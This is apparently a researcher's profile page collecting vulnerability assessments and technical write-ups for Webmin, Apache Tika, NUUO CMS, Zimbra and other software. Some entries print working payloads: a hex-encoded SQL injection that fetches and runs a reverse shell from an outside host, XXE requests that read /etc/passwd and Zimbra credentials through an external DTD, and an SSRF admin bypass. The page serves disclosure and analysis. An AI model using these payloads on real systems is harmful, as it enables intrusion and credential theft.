jrobles-r7 (40)

Last Login: August 20, 2019
Assessments
19
Score
40

jrobles-r7's Contributions (19)

Sort by:
Filter by:
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

I tested Webmin v1.900 and the password change page was not available by default, however it is a reasonable option to have.
A valid username is not needed for the exploit, although the command injection did not work for me when I used the valid username root.

0
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

The exploit depends on having a valid APP_KEY for the application. If the target Laravel Framework is vulnerable to CVE-2017-16894, then it would be possible to obtain the APP_KEY as an unauthenticated user. Also, if the environment has APP_DEBUG enabled, then it may be possible to retrieve the APP_KEY from error messages generated by Laravel Framework.
From Google searches, there appears to be several hosts that leak their APP_KEY.

3
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Technical Analysis

Potentially useful in drive-by attack scenarios but the attack does depends on a few conditions. If the user has disabled their video when joining a meeting then the webcam won’t be on even if a link is clicked/followed. If the video is enabled when joining a Zoom meeting then the information disclosure would depend on what is in view of the webcam, which could potentially be nothing. A Zoom window appears when Zoom is launched so the time for capturing potentially sensitive information is limited as well (assuming someone will close a meeting that they didn’t intend to join). Also, the user would have to be running the Zoom client on macOS.

2
Ratings
  • Attacker Value
    High
  • Exploitability
    High
Technical Analysis

David Yesland write up showed how to get command execution on Windows, however using a similar request structure on Linux did not work. The execution on the application was compared between Windows and Linux to identify why command injection was not working on the Linux system.

A breakpoint was set on the doOCR function that was mentioned in the analysis by David Yesland but that breakpoint was not hit while Apache Tika was running on Linux. After oberserving the call stack at doOCR on Windows, additional breakpoint were set in the IntelliJ debugger on Linux to identify where the execution between Windows and Linux differed.

While determining which parsers can handle a client request, the Apache Tika application calls the getSupportedTypes method from the various parsers. The following getSupportedTypes method is from the TesseractOCRParser class.

    public Set<MediaType> getSupportedTypes(ParseContext context) {
        TesseractOCRConfig config = (TesseractOCRConfig)context.get(TesseractOCRConfig.class, DEFAULT_CONFIG);
        return this.hasTesseract(config) ? SUPPORTED_TYPES : Collections.emptySet();
    }

The config variable is set with data that includes information from the client request. Then the hasTesseract method is called to identify whether a tesseract executable is available.

    public boolean hasTesseract(TesseractOCRConfig config) {
        String tesseract = config.getTesseractPath() + getTesseractProg();
        if (TESSERACT_PRESENT.containsKey(tesseract)) {
            return (Boolean)TESSERACT_PRESENT.get(tesseract);
        } else {
            String[] checkCmd = new String[]{tesseract};
            boolean hasTesseract = ExternalParser.check(checkCmd, new int[0]);
            TESSERACT_PRESENT.put(tesseract, hasTesseract);
            return hasTesseract;
        }
    }

The tesseract variable is set by concatinating config.getTesseractPath(), which returns a string specified in the X-Tika-OCRTesseractPath request header, and getTesseractProg(), which returns the string tesseract on Linux hosts. The application then checks if the value of the tesseract variable has been checked before and returns true or false based on the past results. If the tesseract string has not been checked previously then ExternalParser.check is called.

    public static boolean check(String[] checkCmd, int... errorValue) {
        if (errorValue.length == 0) {
            errorValue = new int[]{127};
        }

        try {
            Process process = Runtime.getRuntime().exec(checkCmd);
            Thread stdErrSuckerThread = ignoreStream(process.getErrorStream(), false);
            Thread stdOutSuckerThread = ignoreStream(process.getInputStream(), false);
            stdErrSuckerThread.join();
            stdOutSuckerThread.join();
            int result = process.waitFor();
            int[] var6 = errorValue;
            int var7 = errorValue.length;

            for(int var8 = 0; var8 < var7; ++var8) {
                int err = var6[var8];
                if (result == err) {
                    return false;
                }
            }

            return true;
        } catch (IOException var10) {
            return false;
        } catch (InterruptedException var11) {
            return false;
        } catch (SecurityException var12) {
            return false;
        } catch (Error var13) {
            if (var13.getMessage() == null || !var13.getMessage().contains("posix_spawn") && !var13.getMessage().contains("UNIXProcess")) {
                throw var13;
            } else {
                return false;
            }
        }
    }

Runtime.getRuntime().exec executes with checkCmd, which is the concatenated string from the hasTesseract method. If the Runtime exec call succeeds, and the error check is passed, then true is returned. During testing of Apache Tika on a Linux host the Runtime.getRuntime().exec call was throwing an error. Different escaping of the user-controlled request header value was not successful on Linux. strace was used to determine the operating system call used by Runtime exec to execute checkCmd.

strace -f -p <java-pid>
...
[pid  4940] close(35)                   = 0
[pid  4940] getdents(4, /* 0 entries */, 32768) = 0
[pid  4940] close(4)                    = 0
[pid  4940] fcntl(3, F_SETFD, FD_CLOEXEC) = 0
[pid  4940] execve("/usr/local/sbin/blahhhhtesseract", ["blahhhhtesseract"], 0x7ffd1272ed40 /* 46 vars */) = -1 ENOENT (No such file or directory)
[pid  4940] execve("/usr/local/bin/blahhhhtesseract", ["blahhhhtesseract"], 0x7ffd1272ed40 /* 46 vars */) = -1 ENOENT (No such file or directory)
[pid  4940] execve("/usr/sbin/blahhhhtesseract", ["blahhhhtesseract"], 0x7ffd1272ed40 /* 46 vars */) = -1 ENOENT (No such file or directory)
...

Partial client Request used to generate the strace output (request body is excluded):

PUT /meta HTTP/1.1
Host: 172.22.222.112:9998
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
X-Tika-OCRTesseractPath: blahhhh
X-Tika-OCRLanguage: //E:Jscript
Expect: 100-continue
Content-type: image/jp2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8086

From the strace output it is clear that the concatenated string ends up in the filename (first) parameter of the execve calls. Since the execve call does not use a full shell interpreter, the various injection attempts failed, which causes the Runtime.getRuntime().exec method to throw an error and return false. The false return value indicates that the TesseractOCRParser class is unable to handle the client request. Therefore the doOCR method that is used when exploiting the Apache Tika application on Windows to execute commands is not reached on the Linux host. If an attacker is able to upload an executable that ends with the string tesseract then the Runtime.getRuntime().exec check could return true and allow further processing of the request.

1
Ratings
  • Exploitability
    Very High
Technical Analysis

From the write-up by Grzegorz Wypych the vulnerability seems easy to exploit since the header is passed to an execve system call.

1
Ratings
  • Exploitability
    High
Technical Analysis

The handling of objects in memory allowed for a double-free of a memory region, which could be used to escalate privileges on a local system. See MSRC link for vulnerable versions and patch information.

The https://github.com/ze0r/cve-2018-8453-exp PoC for x86 systems successfully worked for me on Win10 x86 systems. The x64 version did not work for me though.

1
Ratings
  • Exploitability
    High
Technical Analysis

Deserialization flaw. I tested a module that was able to get SYSTEM access by exploiting the flaw.

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

From the theevilbit write-up I can’t tell if arguments can be provided to the programs that are launched in the VMs. If arguments can be provided to the launched programs then this would be worse.

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Technical Analysis

Required?

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

Details

Details from module documentation in Metasploit.

The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below:

GETOPENALARM NUCM/1.0
DeviceID: <number>
SourceServer: <server-id>
LastOne: <number>

The vulnerability is in the “SourceServer” parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request:

GETOPENALARM NUCM/1.0
DeviceID: 1
SourceServer: ';drop table bobby;--
LastOne: 3

Will cause the following SQL query to be executed on the server:
SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer=“;drop table bobby;— ‘ AND State<20 order by DateTime DESC

Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution.

As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it:

';exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000); select @q=0x78705f636d647368656c6c2027636420433a5c77696e646f77735c74656d705c202626206563686f202473746f726167654469723d24707764203e20776765742e707331202626206563686f2024776562636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e576562436c69656e74203e3e20776765742e707331202626206563686f202475726c203d2022687474703a2f2f31302e302e39392e3130322f7368656c6c2e65786522203e3e20776765742e707331202626206563686f202466696c65203d20227368656c6c2e65786522203e3e20776765742e707331202626206563686f2024776562636c69656e742e446f776e6c6f616446696c65282475726c2c2466696c6529203e3e20776765742e70733120262620706f7765727368656c6c2e657865202d457865637574696f6e506f6c69637920427970617373202d4e6f4c6f676f202d4e6f6e496e746572616374697665202d4e6f50726f66696c65202d46696c6520776765742e70733120262620636d64202f6320433a5c77696e646f77735c74656d705c7368656c6c2e65786527; exec (@q);--

The encoded part of the exploit is the following:

xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe'
1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

Details

Details from module documentation in Metasploit.

The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the CMS Server. An example is below:

COMMITCONFIG NUCM/1.0
User-Session-No: <session-number>
Filename: <filename>
FileType: <number>
Content-Lenght: <file-length>

<FILE_DATA>

The vulnerability is in the “FileName” parameter, which accepts directory traversal (..\..\) characters. Therefore, this function can be abused to overwrite any files in the installation drive of CMS Server.

This vulnerability is exploitable in CMS versions up to and including v2.4.

This module will either use a provided session number (which can be guessed with an auxiliary module) or attempt to login using a provided username and password – it will also try the default credentials if nothing is provided.

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

Details

The /admin/managetracing/search/search endpoint in MailCleaner Community Edition allows an authenticated user to inject operating system commands.

0
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

Details

Details from module documentation in Metasploit.

The GETCONFIG verb is used by a CMS client to obtain configuration files and other resources from the CMS server. An example request is below:

GETCONFIG NUCM/1.0
FileName: <filename>
FileType: <number>
User-Session-No: <session-number>

The FileType determines the directory where the file will be downloaded from. “FileType: 0” will download from the base installation directory (CMS_DIR), while “FileType: 1” will download from “<CMS_DIR>\Images\Map\”. There are other defined FileType integers, but these have not been investigated in detail.

The vulnerability is in the “FileName” parameter, which accepts directory traversal (..\..\) characters. Therefore, this function can be abused to obtain any files off the file system, including:

  • CMServer.cfg, a file zipped with the password “NUCMS2007!” that contains the usernames and passwords of all the system users (enabling a less privileged user to obtain the administrator’s password)
  • ServerConfig.cfg, another file zipped with the password “NUCMS2007!” that contains the SQL Server “sa” password as well the FTP server username and password
  • Any other sensitive files in the drive where CMS Server is installed.

This module works in the following way:

  • if a SESSION number is present, uses that to login
  • if not, tries to authenticate with USERNAME and PASSWORD

Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.

1
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Technical Analysis

Details

Description/Details copy/pasta from Metasploit module documentation.

A file upload vulnerability in the CKEditor of Adobe ColdFusion 11 (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and ColdFusion 2018 (July 12 release) allows unauthenticated remote attackers to upload and execute JSP files through the filemanager plugin.

1
Ratings
  • Attacker Value
    Low
  • Exploitability
    Low
Technical Analysis

Details

Webmin 1.900 allows authenticated users with “Upload and Download” module access to upload cgi files to a webroot subdirectory and the uploaded files can be executed by sending requests to the web server.

1
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Technical Analysis

Details

According to the blog post A Saga of Code Executions on Zimbra by An Trinh the XXE vulnerability occurs during the handling of Autodiscover requests. The commit diff for the changes that fixed the XXE issue can be found in Zimbra’s github page for the zm-mailbox repository. In the AutoDiscoverServlet.java file the changes show modifications to wrap DocumentBuilderFactory in a function that disables multiple features for the instantiated factory.

By viewing the AutoDiscoverServlet.java file before the changes and tracking how DocumentBuilderFactory is used we can find the XXE vulnerability. One instance of DocumentBuilderFactory is in the doPost function. Lines 168-201 shows the beginning of the doPost function.

168     public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
169         ZimbraLog.clearContext();
170         addRemoteIpToLoggingContext(req);
171
172         log.info("Handling autodiscover request...");
173
174         byte[] reqBytes = null;
175         reqBytes = ByteUtil.getContent(req.getInputStream(), req.getContentLength());
176         if (reqBytes == null) {
177             log.warn("No content found in the request");
178             sendError(resp, 600, "No content found in the request");
179             return;
180         }
181         String content = new String(reqBytes, "UTF-8");
<snip>
196
197         try {
198             DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();
199             DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();
200             Document doc = docBuilder.parse(new InputSource(new StringReader(content)));
201             NodeList nList = doc.getElementsByTagName("Request");

On line 200 the request body contents are parse by the application. Since the request contents are parse on line 200 before any other checks (other than an empty contents check) we should be able to get XXE at this location of the code. The following request will trigger the XXE:

POST /service/autodiscover HTTP/1.1
Host: zimbra.mylocaldomain.local:8443
Content-Length: 102


<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % test SYSTEM "http://172.22.222.136:8000/test">
%test;]>

The following is the response from the server:

HTTP/1.1 400 Body cannot be parsed
Date: Tue, 02 Apr 2019 13:14:39 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 276

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 400 Body cannot be parsed</title>
</head>
<body><h2>HTTP ERROR 400</h2>
<p>Problem accessing /service/autodiscover. Reason:
<pre>    Body cannot be parsed</pre></p>
</body>
</html>

Although the response does not contain any useful information, we can see that the server reached out to request the file specified in the test entity:

$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
172.22.222.111 - - [02/Apr/2019 08:13:26] code 404, message File not found
172.22.222.111 - - [02/Apr/2019 08:13:26] "GET /test HTTP/1.1" 404 -

Since we can get the application to reach out for a file we can include an external DTD file to include additional entities. However, An Trinh’s blog post mentions that the vulnerability allows direct file extraction through the response. Our response does not contain anything useful so far. In lines 203-234 we can see xml data being checked for EmailAddress and AcceptableResponseSchema. There are also some error checks based on the data in those fields.

203             for (int i = 0; i < nList.getLength(); i++) {
204                 Node node = nList.item(i);
205                 if (node.getNodeType() == Node.ELEMENT_NODE) {
206                     Element element = (Element) node;
207                     email = getTagValue("EMailAddress", element);
208                     responseSchema = getTagValue("AcceptableResponseSchema", element);
209
210                     if (email != null)
211                         break;
212                 }
213             }
214         } catch (Exception e) {
215             log.warn("cannot parse body: %s", content);
216             sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "Body cannot be parsed");
217             return;
218         }
219
220         //Return an error if there's no email address specified!
221         if (email == null || email.length() == 0) {
222             log.warn("No Email address is specified in the Request, %s", content);
223             sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "No Email address is specified in the Request");
224             return;
225         }
226
227         //Return an error if the response schema doesn't match ours!
228         if (responseSchema != null && responseSchema.length() > 0) {
229
230             if (!(responseSchema.equals(NS_MOBILE) || responseSchema.equals(NS_OUTLOOK))) {
231                 log.warn("Requested response schema not available " + responseSchema);
232                 sendError(resp, HttpServletResponse.SC_SERVICE_UNAVAILABLE,
233                         "Requested response schema not available " + responseSchema);
234                 return;

Checks for the data in EMailAddress and AcceptableResponseSchema are performed on lines 221, 228, and 230. If a response schema is specified but it is not one of the predefined values then lines 232-233 are executed, which includes the provided response schema in the error messages. The following request can be used to verify the described behavior:

POST /service/autodiscover HTTP/1.1
Host: zimbra.mylocaldomain.local:8443
Content-Length: 117

<Request>
<EMailAddress>email</EMailAddress>
<AcceptableResponseSchema>mytest</AcceptableResponseSchema>
</Request>

As shown in the following response mytest is reflected back:

HTTP/1.1 503 Requested response schema not available mytest
Date: Tue, 02 Apr 2019 13:34:59 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 326

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 503 Requested response schema not available mytest</title>
</head>
<body><h2>HTTP ERROR 503</h2>
<p>Problem accessing /service/autodiscover. Reason:
<pre>    Requested response schema not available mytest</pre></p>
</body>
</html>

To retrieve a file from the system we can define an entity and include it as the AcceptableResponseSchema as shown in the following request:

POST /service/autodiscover HTTP/1.1
Host: zimbra.mylocaldomain.local:8443
Content-Length: 198

<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY test SYSTEM "file:///etc/passwd">]>
<Request>
<EMailAddress>email</EMailAddress>
<AcceptableResponseSchema>&test;</AcceptableResponseSchema>
</Request>

The response will contain the data in /etc/passwd:

<snip>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 503 Requested response schema not available root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<snip>

The blog post mentioned retrieving the localconfig.xml file to get credentials. To read the localconfig.xml file an external DTD file was used. The following request was used:

POST /service/autodiscover HTTP/1.1
Host: zimbra.mylocaldomain.local:8443
Content-Length: 229

<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % remote SYSTEM "http://172.22.222.136:8000/test">
%remote;
]>
<Request>
<EMailAddress>email</EMailAddress>
<AcceptableResponseSchema>&myfile;</AcceptableResponseSchema>
</Request>

The myfile entity is defined in the external DTD. The full contents of the external DTD is the following:

<!ENTITY % test SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
<!ENTITY % eval "<!ENTITY myfile '<![CDATA[%test;]]>'>">
%eval;

The following is a partial server response:

”`
<snip>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 503 Requested response schema not available &lt;localconfig&gt;
&lt;key name=&quot;ssl_

1
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Technical Analysis

Details

According to the blog post A Saga of Code Executions on Zimbra by An Trinh the SSRF vulnerability occurs during the handling of ProxyServlet requests. The diff to fix the server side request forgery issues can be found in Zimbra’s github page for the zm-mailbox repository. The diff for ProxyServlet.java moves a few checks outside of a conditional so that the checks are always performed.

The doProxy function contains the vulnerable code. As described in the blog post user input is used to determine whether the request will be treated as an admin request. Line 188 in doProxy calls isAdminRequest:

186     private void doProxy(HttpServletRequest req, HttpServletResponse resp) throws IOException {
187         ZimbraLog.clearContext();
188         boolean isAdmin = isAdminRequest(req);
189         AuthToken authToken = isAdmin ?
190                 getAdminAuthTokenFromCookie(req, resp, true) : getAuthTokenFromCookie(req, resp, true);
191         if (authToken == null) {
192             String zAuthToken = req.getParameter(QP_ZAUTHTOKEN);
193             if (zAuthToken != null) {

The following is the isAdminRequest:

180     protected boolean isAdminRequest(HttpServletRequest req) {
181         return req.getServerPort() == LC.zimbra_admin_service_port.intValue();
182     }

The getServerPort function returns the port number specified in the Host header and LC.zimbra_admin_service_port is 7071. If a request is sent with port 7071 in the Host header then the isAdmin variable will be set to true in doProxy. After isAdmin is set, an authentication token is read from the request. Since we want the request to be treated as an admin request we are interested in the getAdminAuthTokenFromCookie function. The function ends up checking for a valid cookie with the ZM_ADMIN_AUTH_TOKEN key. Note: A valid token is required but the key for the token should be changed to ZM_ADMIN_AUTH_TOKEN when exploiting the SSRF vulnerability.

Lines 222-234 check for a proxy target and whether the request is allowed based on permissions:

222         // sanity check
223         String target = req.getParameter(TARGET_PARAM);
224         if (target == null) {
225             resp.sendError(HttpServletResponse.SC_BAD_REQUEST);
226             return;
227         }
228
229         // check for permission
230         URL url = new URL(target);
231         if (!isAdmin && !checkPermissionOnTarget(url, authToken)) {
232             resp.sendError(HttpServletResponse.SC_FORBIDDEN);
233             return;
234         }

On line 231 we can see that if the user is an admin then the request is allowed but if the user is not an admin then a permissions check will be performed. To test the described issue, we can construct requests. The following request uses a valid user (non-admin) cookie and contains a proxy request to the admin port:

POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1
Host: zimbra.mylocaldomain.local:8443
Cookie: ZM_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b;
Content-Length: 0


The response from the previous request returns a forbidden message:

HTTP/1.1 403 Forbidden
Date: Wed, 03 Apr 2019 11:54:45 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 245

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 403 Forbidden</title>
</head>
<body><h2>HTTP ERROR 403</h2>
<p>Problem accessing /service/proxy. Reason:
<pre>    Forbidden</pre></p>
</body>
</html>

Next we modify the previous request, changing 8443 to 7071 and ZM_AUTH_TOKEN to ZM_ADMIN_AUTH_TOKEN, and resend it:

POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1
Host: zimbra.mylocaldomain.local:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b;
Content-Length: 0


The response to the modified request does not contain a forbidden message this time and is instead a redirect the zimbraAdmin page:

HTTP/1.1 302 Found
Date: Wed, 03 Apr 2019 11:57:52 GMT
Content-Type: text/html;charset=utf-8
Date: Wed, 03 Apr 2019 11:57:52 GMT
X-Frame-Options: SAMEORIGIN
Expires: Tue, 24 Jan 2000 20:46:50 GMT
Location: https://127.0.0.1:7071/zimbraAdmin
Content-Length: 0

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Technical Analysis

Details

Details from module documentation in Metasploit.

The NUUO CMS protocol uses session tokens in a similar way to HTTP cookies. As mentioned in the summary, if a USERLOGIN request is sent with a correct username and password, a “User-Session-No” token will be returned. The number returned is composed of 8 digits, so if an attacker wanted to guess it, they would have 10 million possibilities, and would be able to bruteforce it on average after 5 million tries.

The function responsible for creating a new user is at offset 0x454E80 in CMS_Server.exe version 2.1. It sets up a new user object and returns the session token to the calling function. This function has what is probably a coding error – the number returned is actually not a number, but the heap address of the user object created by invoking “new()” in the user object class. An assembly snippet is shown below:

.text:00454E80 000                 push    0FFFFFFFFh
.text:00454E82 004                 push    offset loc_5E2013
.text:00454E87 008                 mov     eax, large fs:0
.text:00454E8D 008                 push    eax
.text:00454E8E 00C                 sub     esp, 8
.text:00454E91 014                 push    ebp
.text:00454E92 018                 push    esi
.text:00454E93 01C                 push    edi
.text:00454E94 020                 mov     eax, dword_68D134
.text:00454E99 020                 xor     eax, esp
.text:00454E9B 020                 push    eax
.text:00454E9C 024                 lea     eax, [esp+24h+var_C]
.text:00454EA0 024                 mov     large fs:0, eax
.text:00454EA6 024                 mov     ebp, ecx
.text:00454EA8 024                 lea     edi, [ebp+43Ch]
.text:00454EAE 024                 push    edi             ; lpCriticalSection_EnterCriticalSection
.text:00454EAF 028                 mov     [esp+28h+var_10], edi
.text:00454EB3 028                 call    ds:EnterCriticalSection
.text:00454EB9 024                 push    1B8h            ; unsigned int
.text:00454EBE 028                 mov     [esp+28h+var_4], 0
.text:00454EC6 028                 call    ??2@YAPAXI@Z    ; new() operator, returns object in eax
(...)

After the call to ??2@YAPAXI@Z in .text:00454EC6, the session number is returned to the calling function (sub_457100), which then stores it and sends it back to the client as the valid session number:

NUCM/1.0 200 OK
User-Valid: %d
Server-Version: %s
Ini-Version: %d
License-Number: %d
User-Session-No: %u <---- session number, which is a hexadecimal memory address converted to decimal

These session numbers (tokens) are not that easy to predict, however after collecting thousands of samples I was able to build a table of the most common occurrences, which reduces the possibilities from 10 million to about 1.2 million. In practice, the tokens can usually be guessed between in less than 500,000 attempts – an improvement of 95% over standard bruteforcing. It is likely this can be further improved with some deeper analysis, but due to time constraints this was not investigated further. The tables used to do the bruteforcing are in Appendix #C.

This attack is perfectly feasible despite the high number of attempts needed. Firstly, there is no bruteforce protection on the CMS server, so we can just flood it with requests and find the session number in less than an hour.
Secondly, due to the nature of this application, it is normal to have the software clients logged in for a long amount of time (days, weeks) in order to monitor the video cameras controlled by CMS.

It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.